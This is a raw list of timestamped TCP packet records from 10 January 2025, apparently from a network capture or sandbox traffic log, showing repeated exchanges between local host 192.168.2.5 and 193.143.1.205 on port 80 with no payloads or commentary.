Jan 10, 2025 22:29:32.772136927 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.772176981 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.772200108 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.772213936 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.772224903 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.772259951 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.772613049 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.772664070 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.772799015 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.772834063 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.772845984 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.772857904 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.772870064 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.772874117 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.772898912 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.773422956 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.773472071 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.773669004 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.797619104 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.797853947 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.797866106 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.797935009 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.801172972 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.801250935 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.801269054 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.801285982 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.801312923 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.801424980 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.827671051 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.827687025 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.827701092 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.827737093 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.827747107 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.827789068 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.827924013 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.827939034 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.827950954 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.827965021 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.827972889 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.827997923 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.828241110 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.828253031 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.828289986 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.828412056 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.828423977 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.828435898 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.828449011 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.828460932 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.828463078 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.828475952 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.828486919 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.828521967 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.857395887 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.857506037 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.857517004 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.857599974 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.857613087 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.857657909 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.857840061 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.857852936 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.857863903 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.857872963 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.857877016 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.857889891 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.857893944 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.857916117 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.858366966 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.858380079 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.858392000 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.858405113 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.858416080 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.858417988 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.858438015 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.858478069 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.858880997 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.858894110 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.858905077 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.858922005 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.858936071 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.858936071 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.858993053 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.859462976 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.859474897 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.859486103 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.859498978 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.859509945 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.859520912 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.859527111 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.859527111 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.859538078 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.859550953 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.859555006 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.859584093 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.859622955 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.860263109 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.860388994 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.860402107 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.860411882 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.860424042 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.860438108 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.860450029 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.860460997 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.860471964 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.860481977 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.860481977 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.860481977 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.860507965 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.861402035 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.861414909 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.861424923 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.861438036 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.861449003 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.861453056 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.861460924 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.861471891 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.861484051 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.861490965 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.861490965 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.861495972 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.861509085 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.861512899 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.861558914 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.862258911 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.862272024 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.862293959 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.862306118 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.862313986 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.862318039 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.862329006 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.862334013 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.862343073 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.862354994 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.862359047 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.862365961 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.862380981 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.862415075 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.863133907 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.863205910 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.863219976 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.863233089 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.863245964 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.863257885 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.863264084 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.863270998 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.863282919 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.863295078 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.863296032 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.863308907 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.863322973 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.863344908 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.864191055 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.864204884 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.864217043 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.864231110 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.864237070 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.864243031 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.864257097 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.864260912 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.864272118 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.864284039 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.864289045 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.864296913 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.864319086 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.864346981 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.864906073 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.864918947 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.864937067 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.864950895 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.864964008 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.864964962 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.864976883 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.864990950 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.864990950 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.865004063 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.865017891 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.865020037 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.865030050 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.865042925 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.865045071 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.865071058 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.865732908 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.865748882 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.865777016 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.888175011 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.888197899 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.888209105 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.888230085 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.888339996 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.888353109 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.888364077 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.888389111 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.888441086 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.888561010 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.888572931 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.888601065 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.918121099 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.918160915 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.918173075 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.918283939 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.918283939 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.918378115 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.918390036 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.918404102 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.918433905 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.918591976 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.918605089 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.918617964 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.918642044 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.918715000 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.918891907 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.918905020 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.918915987 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.918927908 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.918942928 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.918963909 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.918987989 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.947957993 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.947990894 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.948003054 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.948025942 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.948051929 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.948131084 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.948254108 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.948271990 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.948285103 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.948296070 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.948298931 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.948332071 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.948596001 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.948611021 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.948621988 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.948633909 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.948642015 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.948645115 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.948664904 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.948689938 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.948940992 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.948952913 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.948966980 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.948982000 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.948993921 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.948996067 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.949032068 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.949374914 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.949389935 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.949400902 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.949413061 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.949424982 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.949424982 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.949436903 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.949444056 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.949448109 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.949461937 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.949474096 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.949482918 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.949486971 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.949513912 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.950280905 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.950293064 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.950305939 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.950316906 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.950325966 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.950330019 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.950342894 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.950345993 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.950354099 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.950366974 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.950371027 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.950380087 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.950393915 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.950396061 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.950416088 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.951148987 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.951163054 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.951174974 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.951189041 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.951193094 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.951201916 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.951215029 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.951219082 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.951227903 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.951247931 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.951272964 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.951813936 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.951827049 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.951838970 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.951849937 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.951860905 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.951863050 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.951873064 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.951885939 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.951900959 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.951913118 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.951914072 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.951925993 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.951944113 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.951966047 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.952652931 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.952666044 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.952677965 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.952689886 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.952698946 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.952702045 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.952714920 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.952728033 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.952739954 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.952742100 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.952750921 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.952763081 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.952770948 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.952786922 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.952805996 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.953552008 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.953564882 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.953576088 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.953589916 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.953603029 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.953607082 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.953614950 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.953628063 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.953630924 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.953643084 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.953655005 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.953656912 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.953670025 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.953682899 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.953707933 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.954453945 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.954467058 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.954479933 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.954493046 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.954504967 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.954509020 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.954518080 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.954530001 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.954535961 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.954543114 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.954554081 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.954555988 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.954569101 CET	80	49705	193.143.1.205	192.168.2.5
